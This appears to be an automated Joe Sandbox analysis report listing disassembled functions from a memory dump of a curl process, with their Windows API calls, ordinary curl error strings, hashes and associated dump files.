String ID: ','$..\..\openssl\openssl\crypto\bio\bss_file.c$..\..\openssl\openssl\crypto\bio\bss_file.c$..\..\openssl\openssl\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-946823011
Opcode ID: ddcf27b1755f9ac3bf1ee093e74454f96c0e970e33eb6c84715ba18926cc8463
Instruction ID: 580bb1f3a0ba7cb3ada912df10a1c725c0713eccda2f5427407ffdffe01c873d
Opcode Fuzzy Hash: ddcf27b1755f9ac3bf1ee093e74454f96c0e970e33eb6c84715ba18926cc8463
Instruction Fuzzy Hash: 77511A32B44215ABDB21ABA8DD02FBF77AAEF46700F040125FD05AB281EA615D05C7F2

Function 0093DFB0 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 232
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0093E580: _memmove.LIBCMT ref: 0093E5ED

htons.WS2_32(?), ref: 0093E051
ioctlsocket.WS2_32(?,8004667E,?), ref: 0093E15B
GetTickCount64.KERNEL32 ref: 0093E161
__aulldiv.LIBCMT ref: 0093E172
connect.WS2_32(?,?,?), ref: 0093E1CD
WSAGetLastError.WS2_32 ref: 0093E1DC

Part of subcall function 00936710: GetTickCount64.KERNEL32 ref: 0093671B
Part of subcall function 00936710: __aulldiv.LIBCMT ref: 0093672C

GetLastError.KERNEL32 ref: 0093E27A

Strings

sa_addr inet_ntop() failed with errno %d: %s, xrefs: 0093E291
Immediate connect fail for %s: %s, xrefs: 0093E226
Trying %s..., xrefs: 0093E05F

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Count64ErrorLastTick__aulldiv$_memmoveconnecthtonsioctlsocket
String ID: Trying %s...$Immediate connect fail for %s: %s$sa_addr inet_ntop() failed with errno %d: %s
API String ID: 849361384-3338264681
Opcode ID: 0a1ac468cb65acb85126d21453261f26f35455646f9daeb4d7a086916c838c16
Instruction ID: dd67364788e64e43b60008a80414287f338ee3f43741112d83c0e63627627406
Opcode Fuzzy Hash: 0a1ac468cb65acb85126d21453261f26f35455646f9daeb4d7a086916c838c16
Instruction Fuzzy Hash: 0481CD706083419BDB24DF68C885B6FB6E9ABC4304F044A2DF899D72D1EA74DD46CF92

Function 00948CB0 Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 274
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount64.KERNEL32 ref: 00948DAE
__aulldiv.LIBCMT ref: 00948DBF

Strings

Operation timed out after %ld milliseconds with %lld out of %lld bytes received, xrefs: 00948ED9
select/poll returned error, xrefs: 00948D29
transfer closed with %lld bytes remaining to read, xrefs: 00948F65
Done waiting for 100-continue, xrefs: 00948E47
Operation timed out after %ld milliseconds with %lld bytes received, xrefs: 00948F15
transfer closed with outstanding read data remaining, xrefs: 00948F98

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Count64Tick__aulldiv
String ID: Done waiting for 100-continue$Operation timed out after %ld milliseconds with %lld bytes received$Operation timed out after %ld milliseconds with %lld out of %lld bytes received$select/poll returned error$transfer closed with %lld bytes remaining to read$transfer closed with outstanding read data remaining
API String ID: 1362846788-2257306976
Opcode ID: b8c0c7d74d5380b3608b8a538ed77d713f3b1aed0617aa8468afe92c60472e75
Instruction ID: 009486b5c491faacaaf0129c4a2379bd942bcd211d1f14f911e4e4d5581c78b2
Opcode Fuzzy Hash: b8c0c7d74d5380b3608b8a538ed77d713f3b1aed0617aa8468afe92c60472e75
Instruction Fuzzy Hash: 69912871B00601ABDB189E28DC41FAFB799FF84314F044679ED1987692EB35E9198BD0

Function 0092EC90 Relevance: 9.4, APIs: 1, Strings: 4, Instructions: 617COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 0092F164

Strings

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 0092EF1D, 0092F0FA
(nil), xrefs: 0092F38A, 0092F397
0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 0092ECB3, 0092ED02, 0092EF22
(nil), xrefs: 0092EFA5

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: __aulldvrm
String ID: (nil)$(nil)$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 1302938615-3536197481
Opcode ID: 4bab1a5235fe11a0fcf3c01fd28a458ba5035b8c3ecd7b7e0ef14f8f9cd37976
Instruction ID: a67880b93c2c223c6061f710bcff0ff8789191df78915e9a2ea26c8e7d64462a
Opcode Fuzzy Hash: 4bab1a5235fe11a0fcf3c01fd28a458ba5035b8c3ecd7b7e0ef14f8f9cd37976
Instruction Fuzzy Hash: 0C228C705087528BD714CF18E994B2AB7E8FFC4758F244A2DF8A987299D370CD49CB92

Function 00930F90 Relevance: 9.1, APIs: 6, Instructions: 130
sleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount64.KERNEL32 ref: 00930FB2
__aulldiv.LIBCMT ref: 00930FBF
GetTickCount64.KERNEL32 ref: 0093100B
__aulldiv.LIBCMT ref: 00931018
WSASetLastError.WS2_32(00002726,00000000,?,000003E8,00000000,?,?,?,?,?,?,?,?,?,009311AC), ref: 00931077
Sleep.KERNELBASE(000003E8,00000000,?,000003E8,00000000,?,?,?,?,?,?,?,?,?,009311AC), ref: 009310E5

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Count64Tick__aulldiv$ErrorLastSleep
String ID:
API String ID: 3232085336-0
Opcode ID: dca78e741201aade3298facf08e99b1be7abc939724f887a935ed789b4d5f3a3
Instruction ID: 2fa880c8b560c693839c0e8b6f1e7cd73abcb3e865735a1d6b0050dc039336d6
Opcode Fuzzy Hash: dca78e741201aade3298facf08e99b1be7abc939724f887a935ed789b4d5f3a3
Instruction Fuzzy Hash: 82412932E002114BC7289A68EC9176F739DEBC4720F05423AFC45DB2A1EA24DD4A8FD2

Function 0093CF00 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 71networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000008,?,00000004), ref: 0093CF32
WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 0093CFAC
WSAGetLastError.WS2_32 ref: 0093CFB6

Strings

Failed to set SO_KEEPALIVE on fd %d, xrefs: 0093CF3D
Failed to set SIO_KEEPALIVE_VALS on fd %d: %d, xrefs: 0093CFBE

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ErrorIoctlLastsetsockopt
String ID: Failed to set SIO_KEEPALIVE_VALS on fd %d: %d$Failed to set SO_KEEPALIVE on fd %d
API String ID: 1819429192-277924715
Opcode ID: 2077d0a06afec8e53e862146a7186876a11dfd1aa395bd229339ce3fa1d4dc08
Instruction ID: b1595c593b6b0ed2744fff51dbecfd32911a6e8420590e250c3c72d9e6cb149b
Opcode Fuzzy Hash: 2077d0a06afec8e53e862146a7186876a11dfd1aa395bd229339ce3fa1d4dc08
Instruction Fuzzy Hash: 932190B2604741ABE310EF34DC42FAF76ECEBC4710F44062EF659DA1D1EA64D60987A6

Function 0093DAD8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0093F690: WSASetLastError.WS2_32(00002726,00000000), ref: 0093F6E9

WSASetLastError.WS2_32(00000000), ref: 0093DC0E
GetTickCount64.KERNEL32 ref: 0093DD67
__aulldiv.LIBCMT ref: 0093DD77

Strings

connect to %s port %ld failed: %s, xrefs: 0093DC69
After %ldms connect time, move on!, xrefs: 0093DB41
Failed to connect to %s port %ld: %s, xrefs: 0093DDF0

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ErrorLast$Count64Tick__aulldiv
String ID: After %ldms connect time, move on!$Failed to connect to %s port %ld: %s$connect to %s port %ld failed: %s
API String ID: 2770002002-601300488
Opcode ID: 3889ab319c0092a6d844eb33f5fd21a83a43d837965001bdd9b386aba5dc7ee4
Instruction ID: 2cdebed4eae02d10883fd4ea00d59a747d38624a8ee81386cb0034d6525d3fd7
Opcode Fuzzy Hash: 3889ab319c0092a6d844eb33f5fd21a83a43d837965001bdd9b386aba5dc7ee4
Instruction Fuzzy Hash: 5751D671B056029BD708DE28E9A5B6FB7E5BFC4304F44462CF45A87281D770E925CF92

Function 0092C720 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

__wgetenv.LIBCMT ref: 0092C763
ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104), ref: 0092C783
__wcstoi64.LIBCMT ref: 0092C7AC

Strings

COLUMNS, xrefs: 0092C75E

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: EnvironmentExpandStrings__wcstoi64__wgetenv
String ID: COLUMNS
API String ID: 3572974752-2475376301
Opcode ID: 22129885db4592ca8f1bf644d39c50c8f08f528353977b936cda94830d7ff80b
Instruction ID: 0a3bb4730e1d566a63dd563d18ca040490274aa0e7f5edcb48d84b62bf668dbd
Opcode Fuzzy Hash: 22129885db4592ca8f1bf644d39c50c8f08f528353977b936cda94830d7ff80b
Instruction Fuzzy Hash: EA31D6B19047419FD324DF24E885AABB7ECAF95300F144A2DE88583246F775D989CF92

Function 00A3646E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 00A36485
_wcscmp.LIBCMT ref: 00A36496

Part of subcall function 00A37185: GetLocaleInfoEx.KERNELBASE(?,20001004,?,00A271A6,?,00A271A6,?,20001004,?,00000002,?,00000004,?,00000000), ref: 00A371A1

Strings

OCP, xrefs: 00A36490
ACP, xrefs: 00A3647F

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _wcscmp$InfoLocale
String ID: ACP$OCP
API String ID: 2268238039-711371036
Opcode ID: 738454c152ed580c2e3c78287cd569f7ea307b12e04e67877f75c02f2791e889
Instruction ID: cbba94ceb3b3c0aeac2c9dbcf6ca7304029e66c77080880f4041e5ad6577c601
Opcode Fuzzy Hash: 738454c152ed580c2e3c78287cd569f7ea307b12e04e67877f75c02f2791e889
Instruction Fuzzy Hash: 8D017972E0471576EB109F68DE46FDA339C9F04755F14C411F908DA182F734EA448695

Function 00A1FB24 Relevance: 6.1, APIs: 4, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00A1FBBA
__flush.LIBCMT ref: 00A1FBDA
__write.LIBCMT ref: 00A1FC0D
__flsbuf.LIBCMT ref: 00A1FC3B

Part of subcall function 00A1E62A: __getptd_noexit.LIBCMT ref: 00A1E62A

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 26693d0ed2bf9fb2933ed739fe26331e0b4bfd8ade5f5024a5ecfc734ea756f2
Instruction ID: 9f7bd8b42cd68bd6cfb6692feded46ae8c4b5b3046d93e7c8d678e5ff5e6ce55
Opcode Fuzzy Hash: 26693d0ed2bf9fb2933ed739fe26331e0b4bfd8ade5f5024a5ecfc734ea756f2
Instruction Fuzzy Hash: F2419331B0874A9FDB188F69C8915EE77B6EF84360F24853DE816C7250D670DDC19B84

Function 009685F0 Relevance: 6.1, APIs: 4, Instructions: 132networkCOMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,?,?,?), ref: 0096860B
_memmove.LIBCMT ref: 009686C3
freeaddrinfo.WS2_32(?,?,?,?,?,?,?,?,00000000), ref: 00968710
WSASetLastError.WS2_32(00002AF9,?,?,?,?,?,?,?,00000000), ref: 0096876E

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
